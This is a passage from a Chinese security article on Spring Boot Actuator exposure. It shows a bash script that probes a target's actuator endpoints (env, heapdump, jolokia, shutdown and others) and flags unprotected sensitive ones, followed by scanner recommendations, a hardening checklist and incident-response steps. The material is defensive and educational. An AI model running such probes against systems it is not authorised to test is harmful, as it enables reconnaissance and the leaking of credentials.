check_endpoint() {
local endpoint=$1
local sensitive=$2
local url="${TARGET}${ACTUATOR_PATH}/${endpoint}"
status=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "$url")
if [ "$status" = "200" ] || [ "$status" = "401" ] || [ "$status" = "403" ]; then
if [ "$status" = "200" ]; then
if [ "$sensitive" = "true" ]; then
echo -e "${RED}⚠️ $endpoint : $status (敏感端点未受保护!)${NC}"
return 1
else
echo -e "${YELLOW}📁 $endpoint : $status${NC}"
fi
else
echo -e "${GREEN}✅ $endpoint : $status (已保护)${NC}"
fi
elif [ "$status" = "404" ]; then
echo -e "❌ $endpoint : $status (未启用)"
else
echo -e "❓ $endpoint : $status"
fi
return 0
}
# 端点列表
declare -A endpoints=(
["health"]="false"
["info"]="false"
["env"]="true"
["heapdump"]="true"
["configprops"]="true"
["loggers"]="true"
["mappings"]="true"
["metrics"]="false"
["threaddump"]="true"
["jolokia"]="true"
["shutdown"]="true"
)
# 执行检查
vulnerable=0
for endpoint in "${!endpoints[@]}"; do
if ! check_endpoint "$endpoint" "${endpoints[$endpoint]}"; then
vulnerable=1
fi
done
echo ""
echo "=========================================="
if [ $vulnerable -eq 1 ]; then
echo -e "${RED}⚠️ 警告:发现敏感端点未受保护!请立即修复!${NC}"
exit 1
else
echo -e "${GREEN}✅ 未发现明显漏洞,但请确保:${NC}"
echo " 1. Actuator不暴露在公网"
echo " 2. 使用独立端口并监听内网"
echo " 3. 配置强密码认证"
echo " 4. 开启审计日志"
fi
6.2 自动化扫描工具推荐
| 工具 | 功能 | 使用场景 |
|---|---|---|
| SpringBoot-Scan | 专门扫描Actuator漏洞 | 快速检测 |
| Actuator-Extractor | 提取敏感信息 | 深入分析 |
| HeapDumpAnalyzer | Heapdump分析 | 内存取证 |
第七部分:总结与自检清单
7.1 核心要点回顾
- Actuator不是玩具:它是强大的管理工具,必须受到保护
- 信息泄漏是起点:单一端点可能危害有限,组合使用威力巨大
- 高版本也不安全:即使Spring Boot 3.x,配置不当同样存在风险
- 深度防御:网络隔离 + 最小化端点 + 强制认证 + 审计日志
7.2 生产环境自检清单
| 检查项 | 安全标准 | 是否达标 |
|---|---|---|
| Actuator端口是否与业务端口隔离 | ✅ 独立端口 + 监听内网IP | ☐ |
| 是否只暴露必要端点 | ✅ include: health,info | ☐ |
| 敏感端点(env, heapdump, configprops) | ✅ 强制关闭 | ☐ |
| 访问是否需要认证 | ✅ Spring Security拦截或Basic Auth | ☐ |
| 是否有异常访问告警 | ✅ 监控Actuator路径访问日志 | ☐ |
| 是否使用随机base-path | ✅ 建议使用 | ☐ |
| Spring Boot版本是否包含已知CVE | ✅ 升级到最新稳定版 | ☐ |
| 是否配置审计日志 | ✅ 所有Actuator访问可追溯 | ☐ |
| 密码是否足够强壮 | ✅ 使用BCrypt加密,长度12+ | ☐ |
| 是否定期轮换密钥 | ✅ 每90天轮换 | ☐ |
7.3 应急响应流程
如果发现Actuator已被恶意访问:
- 立即切断访问:修改防火墙规则,阻断公网访问
- 轮换所有凭证:数据库密码、云AK/SK、JWT密钥等
- 审计访问日志:分析攻击者的访问记录,评估损失
- 检查系统后门:排查是否有恶意文件、计划任务、SSH密钥
- 漏洞修复:按照本文加固方案进行整改
- 复盘总结:分析漏洞原因,改进安全流程
写在最后
Spring Boot Actuator 是生产利器,但不是无限制的“后门”。将其暴露在公网且无任何权限保护,等于把应用的“管理台钥匙”挂在门口。
这类漏洞极低技术含量,却危害巨大,且常常出现在正式上线的系统中。通过本文的7个真实漏洞挖掘案例,我们可以看到:从信息泄漏到RCE,从账户枚举到数据窃取,Actuator暴露的危害远超出大多数开发人员的想象。
一句话建议:Actuator 永远不要直接暴露在公网。如果必须暴露,至少做到:
- 独立端口 + 内网监听
- 严格最小化端点
- 强制认证 + 审计日志
临时开放 = 永久暴露。在安全领域,没有“临时”这一说。
参考资料
- Spring Boot Actuator Official Docs
- Actuator Security Best Practices
- CVE-2018-1258 (Spring Boot Actuator RCE)
- CVE-2021-44228 (Log4Shell)
你的项目中 Actuator 是怎么配置的?是否有类似的风险?欢迎在评论区分享或提问,我会逐一回复。
更多推荐



所有评论(0)